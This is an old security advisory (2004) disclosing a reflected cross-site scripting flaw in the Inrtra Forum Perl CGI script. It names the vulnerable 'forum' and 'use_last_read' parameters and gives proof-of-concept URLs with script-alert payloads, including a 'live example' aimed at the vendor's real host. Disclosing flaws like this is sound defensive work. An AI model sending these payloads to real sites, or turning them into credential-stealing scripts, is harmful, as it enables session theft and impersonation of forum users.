inrtra.txt

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Software: Inrtra Forum (Perl CGI)  
Vendor: http://www.diburim.co.il/  
Versions: Single version was created  
Bug: Cross Site Scripting Vulnerabillity  
Risk: Low  
Exploitation: Remote with browser  
Date: 24 Jan 2004  
Author: Rafel Ivgi, The-Insider  
E-Mail: [email protected]  
Web: http://theinsider.deep-ice.com  
  
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1) Introduction  
2) Bug  
3) The Code  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
===============  
1) Introduction  
===============  
  
Inrtra Forum is israel's most common free/paid forum service provider.  
Forum as important as this cannot have risks such as Cross Site Scripting.  
Any attacker can fake messages, and betray the trust of all the people who  
belive that links involved with this forum are safe.  
  
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======  
2) Bug  
======  
  
The Vulnerabillity is Cross Site Scripting.  
The vulnerable form fields are "use_last_read" and "forum".  
If an attacker will request the following url from the server:  
  
http://<host>/cgi-bin/forumsdb/intraforum_db.cgi?forum=<script>alert('sda')<  
/script>&read=&alias=&redir_flag=true  
Or  
http://<host>/cgi-bin/forumsdb/intraforum_db.cgi?forum=7940&alias=dbr&read=0  
00965-000964&session=FFFF&use_last_read="><script>alert('XSS')</script>  
  
XSS appears and the server allows an attacker to inject & execute scripts.  
  
  
In the words of securityfocus.com :  
~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
If all of these circumstances are met, an attacker may be able to exploit  
this issue  
via a malicious link containing arbitrary HTML and script code as part of  
the hostname.  
When the malicious link is clicked by an unsuspecting user, the  
attacker-supplied HTML  
and script code will be executed by their web client. This will occur  
because the server  
will echo back the malicious hostname supplied in the client's request,  
without sufficiently  
escaping HTML and script code.  
  
Attacks of this nature may make it possible for attackers to manipulate web  
content or to  
steal cookie-based authentication credentials. It may be possible to take  
arbitrary actions as the victim user.  
  
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===========  
3) The Code  
===========  
  
Live Example:  
http://www4.diburim.co.il/cgi-bin/forumsdb/intraforum_db.cgi?forum=<script>a  
lert('XSS')</script>&read=&alias=&redir_flag=true  
  
Code:  
http://<host>/cgi-bin/forumsdb/intraforum_db.cgi?forum=7940&alias=dbr&read=0  
00965-000964&session=FFFF&use_last_read="><script>alert('XSS')</script>  
http://<host>/cgi-bin/forumsdb/intraforum_db.cgi?forum=<script>alert('XSS')<  
/script>&read=&alias=&redir_flag=true  
  
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---  
Rafel Ivgi, The-Insider  
http://theinsider.deep-ice.com  
  
"Things that are unlikeable, are NOT impossible."  
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